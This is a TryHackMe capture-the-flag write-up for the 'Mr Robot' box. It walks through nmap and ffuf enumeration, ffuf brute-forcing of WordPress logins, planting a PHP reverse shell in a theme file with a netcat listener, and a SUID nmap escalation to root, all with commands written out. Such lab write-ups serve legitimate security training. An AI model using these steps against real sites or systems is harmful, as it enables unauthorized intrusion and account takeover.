Post

Mr Robot (Medium) | TryHackMe

Mr Robot (Medium) | TryHackMe

TryHackMe Mr. Robot Write-Up

The Mr. Robot CTF on TryHackMe is a fun, beginner-friendly Linux box themed around the popular TV series. The challenge primarily focuses on WordPress exploitation and privilege escalation. Although the environment is a bit gamified rather than fully realistic, it’s an excellent exercise in enumeration and basic exploitation.


Initial Enumeration

I started with a full port scan using nmap:

1
sudo nmap -sCV -p- --min-rate=1000 -Pn 10.10.250.221

Command Breakdown:

  • sudo → Run with root privileges (needed for some scans).
  • nmap → Network scanning tool.
  • -sCV → Runs a script scan (-sC) and version detection (-sV).
  • -p- → Scan all 65,535 ports.
  • --min-rate=1000 → Speed up the scan by sending at least 1000 packets per second.
  • -Pn → Treat the host as up (skip ping check).
  • 10.10.250.221 → Target IP.

sub

The scan revealed three open ports, including 80 (HTTP) and 443 (HTTPS). This indicated a web application running on the target.


Exploring the Web Application

Visiting the site in a browser, I was greeted with a Mr. Robot-themed page featuring an interactive shell with a few commands. While interesting, I suspected there was more to the site.

sub

To confirm the technologies in use, I used Wappalyzer, which identified the application as a WordPress site.

sub


Directory Enumeration

Next, I ran a directory brute-force scan with ffuf:

1
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u "http://10.10.250.221/FUZZ"

Command Breakdown:

  • ffuf → Fast web fuzzer.
  • -w → Wordlist path.
  • /usr/share/wordlists/seclists/... → A common wordlist from SecLists.
  • -u → Target URL.
  • "http://10.10.250.221/FUZZ" → FUZZ acts as a placeholder where ffuf will inject words from the wordlist.

sub

One of the interesting results was robots.txt, a file that often contains sensitive paths or files the admin doesn’t want indexed.


robots.txt Findings

Opening robots.txt, I found two interesting entries:

  • key-1-of-3.txt – the first flag
  • fsocity.dic – a large wordlist

sub

I retrieved the first flag by visiting the endpoint:

sub

The fsocity.dic file contained a huge wordlist, so I downloaded it:

sub

1
curl http://10.10.250.221/fsocity.dic -O fsocity.dic

Command Breakdown:

  • curl → Command-line tool for downloading files.
  • URL → The link to the file.
  • -O fsocity.dic → Save the file as fsocity.dic.

Since it had many duplicates, I cleaned it up:

1
sort fsocity.dic | uniq > pass.txt

Command Breakdown:

  • sort → Sorts the file alphabetically.
  • uniq → Removes duplicate lines.
  • > pass.txt → Save the cleaned list into pass.txt.

Brute-Forcing WordPress

Now I used the cleaned wordlist to find valid usernames on the WordPress login page:

1
ffuf -w pass.txt -u "http://10.10.250.221/wp-login.php" -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "log=FUZZ&pwd=hm&wp-submit=Log+In" -fw 136

Command Breakdown:

  • -X POST → Send a POST request.
  • -H "Content-Type..." → Set header for form data.
  • -d "log=FUZZ&pwd=hm&wp-submit=Log+In" → Form data, where log=FUZZ means we are fuzzing the username field.
  • -fw 136 → Filter responses with 136 words (ignore error responses).

sub

I found a valid username: elliot.

Then, I brute-forced Elliot’s password:

1
ffuf -w pass.txt -u "http://10.10.250.221/wp-login.php" -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "log=elliot&pwd=FUZZ&wp-submit=Log+In" -fw 136

sub

This gave me valid credentials for Elliot, who had admin privileges.


Gaining a Shell

With admin access, I edited an inactive theme and replaced its 404.php file with a PHP reverse shell (from PentestMonkey). sub

Then, I started a Netcat listener:

1
rlwrap nc -lvnp 4444

Command Breakdown:

  • rlwrap → Adds history and editing to Netcat shells.
  • nc → Netcat tool for network connections.
  • -lvnp 4444 → Listen verbosely on port 4444, no DNS resolution.

Finally, I triggered the reverse shell by visiting the modified file:

1
curl http://10.10.250.221/wp-content/themes/twentythirteen/404.php

I got a shell!

sub

To upgrade to a stable shell:

1
python3 -c "import pty; pty.spawn('/bin/bash')"

Privilege Escalation – User

In /home, I found robot’s directory containing the second flag, but I didn’t have permissions. I also found a file named password.raw-md5 with an MD5 hash. sub

I cracked it using CrackStation

sub

switched to robot, and retrieved the flag:

1
su - robot

sub —

Privilege Escalation – Root

I searched for SUID binaries:

1
find / -perm /4000 -type f 2>/dev/null

Command Breakdown:

  • find / → Search from root directory.
  • -perm /4000 → Find files with SUID permission.
  • -type f → Only regular files.
  • 2>/dev/null → Hide errors.

sub One interesting result: nmap.

On GTFOBins, I found a privilege escalation technique using nmap’s scripting mode:

1
2
3
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
/usr/local/bin/nmap --script=$TF

Command Breakdown:

  • TF=$(mktemp) → Create a temporary file.
  • echo 'os.execute("/bin/sh")' > $TF → Add Lua code to execute /bin/sh.
  • /usr/local/bin/nmap --script=$TF → Run the script with nmap.

This gave me a root shell:

1
2
nmap> whoami
root

sub

The last flag was in /root.


Lessons Learned

  • Always check robots.txt for hidden files.
  • Clean custom wordlists for faster brute-force attacks.
  • Misconfigured binaries like nmap can lead to root access.

✅ Rooted the Mr. Robot box!
This was an excellent practice in enumeration, WordPress exploitation, and privilege escalation.

This post is licensed under CC BY 4.0 by the author.